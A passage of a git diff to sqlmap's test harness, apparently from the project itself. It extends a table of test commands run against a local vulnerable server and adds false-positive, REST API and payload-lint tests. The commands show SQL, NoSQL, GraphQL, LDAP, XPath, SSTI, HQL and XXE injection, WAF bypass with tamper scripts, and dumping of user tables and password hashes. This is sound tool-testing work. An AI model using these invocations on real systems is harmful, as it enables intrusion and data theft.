--data=\"security_level=2\" -p id --flush-session --technique=B --banner", ("bypassed the WAF/IPS by using tamper script", "reproduced manually with switch '--random-agent' and tamper script", "Type: boolean-based blind", "banner: '3.")), # automatic WAF-bypass: SQL-tamper dimension (structural substitution) on top of the non-scanner User-Agent + ("-u --data=\"security_level=3\" -p id --flush-session --technique=B", ("bypassed the WAF/IPS by using tamper script", "Type: boolean-based blind")), # automatic WAF-bypass: SQL-tamper dimension at a stricter signature threshold + ("-u --data=\"security_level=4\" -p id --flush-session --technique=B --banner", ("random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS", "Type: boolean-based blind", "banner: '3.")), # automatic WAF-bypass against a libinjection-class WAF: tampers cannot help, only the non-scanner User-Agent does + ("-u --data=\"security_level=5\" -p id --flush-session --technique=B", ("unable to automatically bypass the WAF/IPS", "does not seem to be injectable")), # automatic WAF-bypass honest bail: a libinjection-class WAF that no User-Agent or tamper can defeat + ("-u -p id --flush-session --technique=B --proof", ("sqlmap proved exploitation of the following injection point", "Parameter: id (GET)", "Technique: boolean-based blind", "TRUE (5/5)", "repeatably", "Retrieved: back-end DBMS banner '3.")), # --proof: report-grade proof in the injection-point style - forces the boolean technique (so a multi-technique point still proves), and actively reads a value out as the strongest proof + ("-r --flush-session -v 5 --test-skip=\"heavy\" --save=", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")), + ("-c ", ("CloudFlare", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind")), + ("-l --flush-session --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")), ("-l --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")), ("-u --flush-session --data=\"id=1&_=Eewef6oh\" --chunked --randomize=_ --random-agent --banner", ("fetched random HTTP User-Agent header value", "Parameter: id (POST)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")), ("-u -p id --base64=id --data=\"base64=true\" --flush-session --banner --technique=B", ("banner: '3.",)), ("-u -p id --base64=id --data=\"base64=true\" --flush-session --tables --technique=U", (" users ",)), ("-u --flush-session --banner --technique=B --disable-precon --not-string \"no results\"", ("banner: '3.",)), ("-u --flush-session --encoding=gbk --banner --technique=B --first=1 --last=2", ("banner: '3.'",)), - ("-u --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")), + ("-u --flush-session --technique=BU --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")), ("-u --flush-session --technique=BU --data=\"{\\\"id\\\": 1}\" --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: UNION query", "banner: '3.")), ("-u --flush-session -H \"Foo: Bar\" -H \"Sna: Fu\" --data=\"\" --union-char=1 --mobile --answers=\"smartphone=3\" --banner --smart -v 5", ("might be injectable", "Payload: --flush-session --technique=BU --method=PUT --data=\"a=1;id=1;b=2\" --param-del=\";\" --skip-static --har= --dump -T users --start=1 --stop=2", ("might be injectable", "Parameter: id (PUT)", "Type: boolean-based blind", "Type: UNION query", "2 entries")), ("-u --flush-session -H \"id: 1*\" --tables -t ", ("might be injectable", "Parameter: id #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), - ("-u --flush-session --banner --invalid-logical --technique=B --predict-output --test-filter=\"OR boolean\" --tamper=space2dash", ("banner: '3.", " LIKE ")), + ("-u --flush-session --banner --invalid-logical --technique=B --titles --test-filter=\"OR boolean\" --tamper=space2dash", ("banner: '3.", " LIKE ")), ("-u --flush-session --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e; id=1*; id2=2\" --tables --union-cols=3", ("might be injectable", "Cookie #1* ((custom) HEADER)", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", " users ")), - ("-u --flush-session --null-connection --technique=B --tamper=between,randomcase --banner --count -T users", ("NULL connection is supported with HEAD method", "banner: '3.", "users | 5")), + ("-u --flush-session --null-connection --technique=B --tamper=between,randomcase --banner --count -T users", ("NULL connection is supported with HEAD method", "banner: '3.", "users | 30")), ("-u --data=\"aWQ9MQ==\" --flush-session --base64=POST -v 6", ("aWQ9MTtXQUlURk9SIERFTEFZICcwOjA",)), ("-u --flush-session --parse-errors --test-filter=\"subquery\" --eval=\"import hashlib; id2=2; id3=hashlib.md5(id.encode()).hexdigest()\" --referer=\"localhost\"", ("might be injectable", ": syntax error", "back-end DBMS: SQLite", "WHERE or HAVING clause (subquery")), - ("-u --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")), - ("-u --technique=U --fresh-queries --force-partial --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("performed 6 queries", "nameisnull", "~using default dictionary", "dumped to HTML file")), - ("-u --flush-session --technique=BU --all", ("5 entries", "Type: boolean-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")), - ("-u -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [5]", "nameisnull")), + ("-u --technique=BU --banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "27 entries", "6E616D6569736E756C6C")), + ("-u --technique=U --fresh-queries --force-partial --disable-json --dump -T users --dump-format=HTML --answers=\"crack=n\" -v 3", ("LIMIT 0,1)", "nameisnull", "~using default dictionary", "dumped to HTML file")), + ("-u --flush-session --technique=BU --all", ("30 entries", "Type: boolean-based blind", "Type: UNION query", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")), + ("-u --flush-session --technique=B --keyset --dump -T users", ("using keyset (seek) pagination", "30 entries", "luther", "nameisnull")), # keyset/seek dump via the SQLite rowid cursor + ("-u -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [30]", "nameisnull")), ("-u \"&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)), + ("-u \"nosql?name=luther&password=x\" -p password --nosql --flush-session", ("is vulnerable to NoSQL injection", "back-end: 'MongoDB'", "NoSQL: GET parameter 'password'", "s3cr3t")), # NoSQL (MongoDB) operator-injection detection + blind regexp extraction + ("-u \"graphql\" --graphql --flush-session --disable-hashing", ("found GraphQL endpoint", "introspection returned", "skipping 2 mutation slot", "GraphQL boolean-based blind", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "GraphQL database tables", "fetched 30 entries from table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "GraphQL scan complete")), # GraphQL: endpoint detection + introspection + mutation-skip + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed) + ("-u \"ldap/search?q=x\" --ldap --flush-session --disable-hashing", ("is vulnerable to LDAP injection", "Title: LDAP in-band data exposure", "LDAP: GET parameter 'q' in-band entries", "in-band data exposure", "LDAP scan complete")), # LDAP: error-based detection (unbalanced paren) + boolean oracle + directory attribute extraction via blind substring probing + ("-u \"xpath/search?q=x\" --xpath --flush-session --disable-hashing", ("is vulnerable to XPath injection", "Title: XPath boolean-based blind", "XPath: GET parameter 'q' XML tree", "extracted", "XPath scan complete")), # XPath: error-based detection + boolean oracle + blind XML tree-walking via starts-with character extraction + ("-u \"ssti/search?q=x\" --ssti --flush-session --disable-hashing", ("is vulnerable to SSTI", "Title: SSTI Jinja2 injection", "back-end template engine: 'Jinja2'", "in-band arithmetic proof confirmed", "SSTI scan complete")), # SSTI: Jinja2 detection via arithmetic control-pair + boolean oracle + distinguishing probe + ("-u \"hql/search?name=admin\" -p name --hql --flush-session --disable-hashing", ("is vulnerable to HQL injection", "back-end: 'Hibernate'", "entity 'Users'", "s3cr3t", "HQL scan complete")), # HQL: error-based Hibernate fingerprint + boolean oracle + error-leaked entity + blind attribute enumeration and substring value extraction + ("-u \"xxe\" --data=\"x\" --xxe --file-read=\"%s\" --flush-session" % vulnserver.XXE_READ_FILE, ("the XML body processes DTD/internal entities", "in-band XXE file-read impact confirmed", "Type: XXE injection", "XXE scan complete")), # XXE: in-band internal-entity reflection (real libxml2/lxml parser) + external file:// entity file read ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), - ("-d \"\" --flush-session --dump -T users --dump-format=SQLITE --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)", "dumped to SQLITE database")), - ("-d \"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "5, foobar, nameisnull", "'987654321'",)), + ("-d \"\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")), + ("-d \"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)), + ("-u csrf --data=\"id=1&csrf_token=1\" --banner --answers=\"update=y\" --flush-session --technique=B", ("back-end DBMS: SQLite", "banner: '3.")), ("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")), ) + # The vulnserver's XPath and XXE endpoints render with lxml and its SSTI endpoint with jinja2; where + # those optional third-party engines are not importable (e.g. PyPy 2.7, which has no lxml wheel), skip + # just those entries instead of failing the whole run - the rest of the suite is unaffected. + try: + __import__("lxml") + except ImportError: + TESTS = tuple(_ for _ in TESTS if "--xpath" not in _[0] and "--xxe" not in _[0]) + logger.warning("skipping the XPath and XXE vuln-test entries ('lxml' not available)") + try: + __import__("jinja2") + except ImportError: + TESTS = tuple(_ for _ in TESTS if "--ssti" not in _[0]) + logger.warning("skipping the SSTI vuln-test entry ('jinja2' not available)") + + # --test-filter / --test-skip narrow a (slow) full run to just the entries touching a change: + # the needle is matched case-insensitively against each entry's command line and its expected + # checks (e.g. '--vuln-test --test-filter=ssti' runs only the SSTI entry). + def _entryMatches(entry, needle): + needle = needle.lower() + return needle in entry[0].lower() or any(needle in getText(_).lower() for _ in entry[1]) + + if conf.get("testFilter"): + TESTS = tuple(_ for _ in TESTS if _entryMatches(_, conf.testFilter)) + logger.info("'--test-filter' selected %d vuln-test entr%s" % (len(TESTS), "y" if len(TESTS) == 1 else "ies")) + if conf.get("testSkip"): + TESTS = tuple(_ for _ in TESTS if not _entryMatches(_, conf.testSkip)) + logger.info("'--test-skip' left %d vuln-test entr%s" % (len(TESTS), "y" if len(TESTS) == 1 else "ies")) + retVal = True count = 0 + cleanups = [] while True: address, port = "127.0.0.1", random.randint(10000, 65535) @@ -130,9 +186,11 @@ def _thread(): handle, config = tempfile.mkstemp(suffix=".conf") os.close(handle) + cleanups.append(config) handle, database = tempfile.mkstemp(suffix=".sqlite") os.close(handle) + cleanups.append(database) with sqlite3.connect(database) as conn: c = conn.cursor() @@ -140,14 +198,17 @@ def _thread(): handle, request = tempfile.mkstemp(suffix=".req") os.close(handle) + cleanups.append(request) handle, log = tempfile.mkstemp(suffix=".log") os.close(handle) + cleanups.append(log) handle, multiple = tempfile.mkstemp(suffix=".lst") os.close(handle) + cleanups.append(multiple) - content = "POST / HTTP/1.0\nUser-agent: foobar\nHost: %s:%s\n\nid=1\n" % (address, port) + content = "POST / HTTP/1.0\nUser-Agent: foobar\nHost: %s:%s\n\nid=1\n" % (address, port) with open(request, "w+") as f: f.write(content) f.flush() @@ -162,7 +223,9 @@ def _thread(): direct = "sqlite3://%s" % database tmpdir = tempfile.mkdtemp() - content = open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))).read().replace("url =", "url = %s" % url) + with open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))) as f: + content = f.read().replace("url =", "url = %s" % url) + with open(config, "w+") as f: f.write(content) f.flush() @@ -174,7 +237,7 @@ def _thread(): for options, checks in TESTS: status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS))) - dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status)) + dataToStdout("\r[%s] [INFO] completed: %s" % (time.strftime("%X"), status)) if IS_WIN and "uraj" in options: options = options.replace(u"\u0161u\u0107uraj", "sucuraj") @@ -188,8 +251,11 @@ def _thread(): if "" in cmd: handle, tmp = tempfile.mkstemp() os.close(handle) + cleanups.append(tmp) cmd = cmd.replace("", tmp) + os.environ["SQLMAP_UNSAFE_EVAL"] = '1' + output = shellExec(cmd) if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks) or "unhandled exception" in output: @@ -201,9 +267,195 @@ def _thread(): clearConsoleLine() if retVal: - logger.info("vuln test final result: PASSED") + logger.info("%s test final result: PASSED" % label) else: - logger.error("vuln test final result: FAILED") + logger.error("%s test final result: FAILED" % label) + + for filename in cleanups: + try: + os.remove(filename) + except: + pass + + try: + shutil.rmtree(tmpdir) + except: + pass + + return retVal + +def fpTest(): + """ + On-demand false-positive battery ('--fp-test'): a set of deliberately NON-injectable traps that + each bait a specific FP defense (boolean confirmation, dynamic-content removal, structure-aware + comparison, canary/sanity gate, reflection, error-regex specificity, length and time heuristics), + paired with real injectable twins. An A+ engine rejects every trap AND still detects every twin. + Kept out of the default '--vuln-test' (CI budget); run explicitly against 'vulnserver'. + """ + + FP_TESTS = ( + # false-positive traps -> sqlmap MUST NOT flag these as injectable + ("-u \"fp?trap=intcast&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # boolean confirmation / checkFalsePositives + ("-u \"fp?trap=structrand&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # structure-aware comparison + ("-u \"fp?trap=acceptall&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # canary / sanity gate (reads-everything-true) + ("-u \"fp?trap=reflect&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # reflection handling + ("-u \"fp?trap=errors&id=1\" -p id --technique=BE --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # error-regex specificity + ("-u \"fp?trap=lengthrand&id=1\" -p id --technique=BEU --level=3 --risk=2 --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # length heuristics + ("-u \"fp?trap=slowrand&id=1\" -p id --technique=T --flush-session", ("~identified the following injection point", "do not appear to be injectable")), # time-based statistical model + # true-positive twins -> sqlmap MUST still detect real injection (the discrimination that makes it A+) + ("-u -p id --technique=B --flush-session", ("identified the following injection point", "Type: boolean-based blind")), + ("-u \"&json=1\" -p id --technique=B --flush-session", ("identified the following injection point",)), + ) + + return vulnTest(tests=FP_TESTS, label="fp") + +def apiTest(): + """ + Runs a basic live test of the REST API: launches the server in a separate process + ('sqlmapapi.py -s') and drives the control-plane endpoints with an HTTP client - a real + server + client round-trip, without launching an actual scan. A separate process (rather + than an in-process thread) isolates the single-threaded server from the client's GIL and + from sqlmap's global HTTP machinery, which otherwise makes the round-trip flaky. + """ + + retVal = True + + # pick a free port the same way vulnTest() does + while True: + address, port = "127.0.0.1", random.randint(10000, 65535) + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + if s.connect_ex((address, port)): + break + else: + time.sleep(1) + finally: + s.close() + + username, password = "test", "test" + apipath = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmapapi.py")) + + try: + devnull = subprocess.DEVNULL + except AttributeError: + devnull = open(os.devnull, "wb") + + process = subprocess.Popen([sys.executable, apipath, "-s", "-H", address, "-p", str(port), "--username", username, "--password", password], stdout=devnull, stderr=devnull) + + base = "http://%s:%d" % (address, port) + + def _call(path, data=None, authorize=True): + # NOTE: a raw socket is used deliberately instead of urllib/http.client. The host sqlmap + # process installs a global keep-alive opener and patches http.client, which makes a + # library client flaky against the single-threaded server; a hand-rolled HTTP/1.0 request + # (Connection: close, read to EOF) is hermetic and immune to all of that. + method = "POST" if data is not None else "GET" + lines = ["%s %s HTTP/1.0" % (method, path), "Host: %s:%d" % (address, port)] + if authorize: + lines.append("Authorization: Basic %s" % encodeBase64("%s:%s" % (username, password), binary=False)) + body = getBytes(json.dumps(data)) if data is not None else b"" + if data is not None: + lines.append("Content-Type: application/json") + lines.append("Content-Length: %d" % len(body)) + lines.append("Connection: close") + request = getBytes("\r\n".join(lines) + "\r\n\r\n") + body + + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(10) + try: + s.connect((address, port)) + s.sendall(request) + raw = b"" + while True: + chunk = s.recv(8192) + if not chunk: + break + raw += chunk + except Exception as ex: + logger.debug("API test: request to '%s' failed (%s)" % (path, getSafeExString(ex))) + return None, None + finally: + s.close() + + head, _, payload = raw.partition(b"\r\n\r\n") + try: + code = int(head.split(b"\r\n")[0].split(b" ")[1]) + except (IndexError, ValueError): + return None, None + try: + return code, json.loads(getText(payload)) + except ValueError: + return code, None + + try: + # wait for the server process to come up (or die trying) + for _ in xrange(200): + if process.poll() is not None: + logger.error("API test: server process exited prematurely (address: '%s')" % base) + return False + code, data = _call("/version") + if code == 200 and data and data.get("success"): + break + time.sleep(0.1) + else: + logger.error("API test: server did not come up (address: '%s')" % base) + return False + + logger.info("REST API server running at '%s'..." % base) + + results = [] + + def _check(name, condition): + results.append((name, bool(condition))) + if not condition: + logger.error("API test: check '%s' FAILED" % name) + + # GET /version - success envelope + MAJOR-only integer api_version + code, data = _call("/version") + _check("version", code == 200 and data and data.get("success") is True and data.get("api_version") == int(RESTAPI_VERSION.split(".")[0]) and data.get("version")) + + # the auth hook must reject an unauthenticated request + code, _ = _call("/version", authorize=False) + _check("auth-401", code == 401) + + # GET /task/new - mint a task + code, data = _call("/task/new") + taskid = data.get("taskid") if data else None + _check("task-new", code == 200 and data and data.get("success") and taskid) + + # POST /option//set then read it back via /get and /list (JSON round-trip + IPC) + code, data = _call("/option/%s/set" % taskid, {"flushSession": True}) + _check("option-set", code == 200 and data and data.get("success")) + + code, data = _call("/option/%s/get" % taskid, ["flushSession"]) + _check("option-get", data and data.get("success") and (data.get("options") or {}).get("flushSession") is True) + + code, data = _call("/option/%s/list" % taskid) + _check("option-list", data and data.get("success") and isinstance(data.get("options"), dict)) + + # GET /admin/list - the IP-bound listing (our client is the task's creator) must see it + code, data = _call("/admin/list") + _check("admin-list", data and data.get("success") and taskid in (data.get("tasks") or {})) + + # a bogus task ID must produce a failure envelope (not a crash) + code, data = _call("/option/%s/list" % "nonexistent") + _check("invalid-task", data is not None and data.get("success") is False) + + # GET /task//delete - tear the task down + code, data = _call("/task/%s/delete" % taskid) + _check("task-delete", data and data.get("success")) + + if all(ok for _, ok in results): + logger.info("API test final result: PASSED") + else: + retVal = False + logger.error("API test final result: FAILED (%s)" % ", ".join(name for name, ok in results if not ok)) + finally: + try: + process.terminate() + process.wait() + except Exception: + pass return retVal @@ -214,7 +466,9 @@ def smokeTest(): unisonRandom() - content = open(paths.ERRORS_XML, "r").read() + with open(paths.ERRORS_XML, "r") as f: + content = f.read() + for regex in re.findall(r'', content): try: re.compile(regex) @@ -227,7 +481,7 @@ def smokeTest(): count, length = 0, 0 for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): - if any(_ in root for _ in ("thirdparty", "extra", "interbase")): + if any(_ in root for _ in ("thirdparty", "extra", "interbase", "tests")): continue for filename in files: @@ -235,7 +489,7 @@ def smokeTest(): length += 1 for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH): - if any(_ in root for _ in ("thirdparty", "extra", "interbase")): + if any(_ in root for _ in ("thirdparty", "extra", "interbase", "tests")): continue for filename in files: @@ -265,7 +519,7 @@ def smokeTest(): count += 1 status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length)) - dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status)) + dataToStdout("\r[%s] [INFO] completed: %s" % (time.strftime("%X"), status)) def _(node): for __ in dir(node): @@ -295,3 +549,239 @@ def _(node): logger.error("smoke test final result: FAILED") return retVal + +def payloadLintTest(): + """ + Offline payload-sanity coverage test. + + For every supported back-end DBMS an emulation oracle drives the blind + enumeration handlers (no live target), so agent.py builds the full range of + inference payloads it would emit while dumping a schema, and each one is + checked with lib.utils.sqllint. A planted-malformation self-check first + proves the pipeline actually catches a defect, so the gate can never pass + vacuously. + """ + + import lib.core.common as common_module + + from lib.controller.handler import setHandler + from lib.core.agent import agent + from lib.core.common import Backend + from lib.core.datatype import AttribDict + from lib.core.datatype import InjectionDict + from lib.core.enums import PAYLOAD + from lib.core.enums import PLACE + from lib.core.threads import getCurrentThreadData + from lib.request.connect import Connect + from lib.utils.sqllint import checkSanity + + unisonRandom() + + collected = [] + guard = {"count": 0} + CAP_PER_METHOD = 600 + + # A "consistent liar": parse the injected char comparison in whatever form the + # dialect uses (bare int / CHAR(n) / quoted 'x') and answer so counts->'2', + # lengths->small, names->'a'. This keeps every dialect's enumeration walking a + # few shallow levels, exercising the payload builders without a real backend. + def _oracle(value=None, **kwargs): + if value is None: + return None + sql = agent.removePayloadDelimiters(agent.adjustLateValues(value)) + collected.append(sql) + guard["count"] += 1 + if guard["count"] > CAP_PER_METHOD: + raise KeyboardInterrupt + # UNION/inband path reads the response body: hand back a page carrying the + # delimited marker value so extraction "succeeds" and keeps producing payloads + if kwargs.get("content"): + start, stop, delim = kb.chars.start, kb.chars.stop, kb.chars.delimiter + return ("x%s%s%s%s%sx" % (start, "1", delim, "1", stop), None, 200) + upper = sql.upper() + match = re.search(r">\s*'(.?)'", sql) + if match: + return True if match.group(1) == "" else (50 if "COUNT(" in upper else 97) > ord(match.group(1)) + match = re.search(r">\s*(?:N?CHAR|CHR|NCHR)\s*\(\s*(\d+)", sql, re.I) + if match: + return (50 if "COUNT(" in upper else 97) > int(match.group(1)) + match = re.search(r">\s*(\d+)", sql) + if match: + value_ = int(match.group(1)) + target = 1 if "COUNT(" in upper else (3 if any(_ in upper for _ in ("LENGTH(", "LEN(", "DATALENGTH(")) else 2) + return target > value_ + match = re.search(r"(\d+)\s*(=|<|>=|<=|<>|!=)\s*(\d+)", sql) + if match: + left, operator, right = int(match.group(1)), match.group(2), int(match.group(3)) + return {"=": left == right, "<": left < right, ">=": left >= right, "<=": left <= right, "<>": left != right, "!=": left != right}[operator] + return False + + def _injection(dbms): + injection = InjectionDict() + injection.place = PLACE.GET + injection.parameter = "id" + injection.ptype = 1 + injection.prefix = "" + injection.suffix = "" + injection.clause = [1] + injection.dbms = dbms + boolean = AttribDict() + boolean.title = "AND boolean-based blind" + boolean.vector = "AND [INFERENCE]" + boolean.comment = "" + boolean.payload = "x" + boolean.where = 1 + boolean.templatePayload = None + boolean.matchRatio = None + boolean.trueCode = None + boolean.falseCode = None + injection.data = AttribDict() + injection.data[PAYLOAD.TECHNIQUE.BOOLEAN] = boolean + return injection + + def _unionInjection(dbms): + injection = InjectionDict() + injection.place = PLACE.GET + injection.parameter = "id" + injection.ptype = 1 + injection.prefix = "" + injection.suffix = "" + injection.clause = [1] + injection.dbms = dbms + union = AttribDict() + union.title = "Generic UNION query" + # vector = (position, count, comment, prefix, suffix, char, where, + # unionDuplicates, forcePartial, tableFrom, unionTemplate) + union.vector = (0, 3, "-- -", "", "", "NULL", PAYLOAD.WHERE.ORIGINAL, False, False, None, None) + union.comment = "-- -" + union.prefix = "" + union.suffix = "" + union.where = PAYLOAD.WHERE.ORIGINAL + union.templatePayload = None + union.matchRatio = None + union.trueCode = None + union.falseCode = None + injection.data = AttribDict() + injection.data[PAYLOAD.TECHNIQUE.UNION] = union + return injection + + methods = ("getBanner", "getCurrentDb", "getCurrentUser", "getHostname", "isDba", + "getDbs", "getTables", "getColumns", "getSchema", "getUsers", + "getPasswordHashes", "getPrivileges", "getRoles", "getStatements", + "getComments", "getProcedures") + + _stdout = sys.stdout + + def _progress(dbms, count, bad): + # write to the real stdout (sqlmap's is redirected to a sink during the walk) + _stdout.write("[payload-lint] %-26s %7d payloads %s\n" % (dbms, count, ("%d FLAGGED" % bad) if bad else "ok")) + _stdout.flush() + + class _Sink(object): + def write(self, *args, **kwargs): pass + def flush(self, *args, **kwargs): pass + + _queryPage = Connect.queryPage + _getPageTemplate = common_module.getPageTemplate + _level = logger.level + _threads = conf.threads + threadData = getCurrentThreadData() + + retVal = True + total = walked = 0 + flagged = [] + allDbms = sorted(queries.keys()) + + try: + conf.batch = True + conf.threads = 1 # deterministic, single-threaded (clean output) + conf.disableHashing = True + if not conf.base64Parameter: + conf.base64Parameter = [] + common_module.getPageTemplate = lambda *args, **kwargs: ("x", False) + Connect.queryPage = staticmethod(_oracle) + logger.setLevel(logging.CRITICAL) # mute the emulated walk's "unable to retrieve" noise + threadData.disableStdOut = True # mute dataToStdout at its gate + sys.stdout = _Sink() # and mute everything else (readInput prompts, tables, ...) + + def _runMethods(): + found = set() + for name in methods: + method = getattr(conf.dbmsHandler, name, None) + if method is None: + continue + del collected[:] + guard["count"] = 0 + try: + method() + except (KeyboardInterrupt, Exception): + pass + found.update(collected) + return found + + for dbms in allDbms: + try: + Backend.flushForcedDbms(force=True) + kb.stickyDBMS = False + Backend.forceDbms(dbms) + conf.forceDbms = conf.dbms = dbms + conf.parameters = {PLACE.GET: "id=1"} + conf.paramDict = {PLACE.GET: {"id": "1"}} + # a user/column so user-filtered and column-specific query variants + # (WHERE grantee='...', per-column extraction) are exercised too + conf.db, conf.tbl, conf.col, conf.user = "testdb", "testtbl", "testcol", "testuser" + setHandler() + except Exception: + _progress(dbms, 0, 0) + continue + + seen = set() + # (a) boolean-based blind pass, then (b) UNION-query (inband) pass - + # two techniques exercise two distinct payload-builder families in agent.py + for technique, injector in ((PAYLOAD.TECHNIQUE.BOOLEAN, _injection), + (PAYLOAD.TECHNIQUE.UNION, _unionInjection)): + for key in list(kb.data.keys()): + if key.startswith("cached"): + kb.data[key] = None + kb.jsonAggMode = False + kb.injection = injector(dbms) + kb.injections = [kb.injection] + kb.technique = technique + seen.update(_runMethods()) + + bad = [(dbms, p, checkSanity(p)) for p in seen if checkSanity(p)] + flagged.extend(bad) + total += len(seen) + if seen: + walked += 1 + _progress(dbms, len(seen), len(bad)) + finally: + sys.stdout = _stdout + Connect.queryPage = _queryPage + common_module.getPageTemplate = _getPageTemplate + Backend.flushForcedDbms(force=True) + logger.setLevel(_level) + conf.threads = _threads + threadData.disableStdOut = False + + # self-check: the linter must flag a known-malformed payload, and the walk + # must have actually produced payloads (guards against a vacuous pass) + if not checkSanity("1 AND (SELECT id 1 FROM users)"): + logger.error("payload-lint self-check failed: a known-malformed payload was not flagged") + retVal = False + if total < 1000: + logger.error("payload-lint self-check failed: only %d payloads generated (walk did not run)" % total) + retVal = False + + for dbms, payload, issues in flagged[:20]: + retVal = False + logger.error("[%s] malformed payload: %s -> %s" % (dbms, payload, "; ".join(issues))) + + clearConsoleLine() + logger.info("payload-lint: %d payloads across %d/%d DBMSes checked, %d malformed" % (total, walked, len(allDbms), len(flagged))) + if retVal: + logger.info("payload-lint final result: PASSED") + else: + logger.error("payload-lint final result: FAILED") + + return retVal diff --git a/lib/core/threads.py b/lib/core/threads.py index 4999b84919c..47e8e10ab3a 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -1,13 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import print_function import difflib +import sqlite3 import threading import time import traceback @@ -26,7 +27,6 @@ from lib.core.exception import SqlmapUserQuitException from lib.core.exception import SqlmapValueException from lib.core.settings import MAX_NUMBER_OF_THREADS -from lib.core.settings import PYVERSION shared = AttribDict() @@ -51,6 +51,10 @@ def reset(self): self.lastComparisonHeaders = None self.lastComparisonCode = None self.lastComparisonRatio = None + self.lastPageTemplateCleaned = None + self.lastPageTemplateJsonMinimized = None + self.lastPageTemplateStructural = None + self.lastPageTemplate = None self.lastErrorPage = tuple() self.lastHTTPError = None self.lastRedirectMsg = None @@ -90,7 +94,7 @@ def getCurrentThreadName(): Returns current's thread name """ - return threading.current_thread().getName() + return threading.current_thread().name def exceptionHandledFunction(threadFunction, silent=False): try: @@ -104,17 +108,14 @@ def exceptionHandledFunction(threadFunction, silent=False): if not silent and kb.get("threadContinue") and not kb.get("multipleCtrlC") and not isinstance(ex, (SqlmapUserQuitException, SqlmapSkipTargetException)): errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex)) - logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg)) + logger.error("thread %s: '%s'" % (threading.current_thread().name, errMsg)) if conf.get("verbose") > 1 and not isinstance(ex, SqlmapConnectionException): traceback.print_exc() def setDaemon(thread): # Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation - if PYVERSION >= "2.6": - thread.daemon = True - else: - thread.setDaemon(True) + thread.daemon = True def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False, startThreadMsg=True): threads = [] 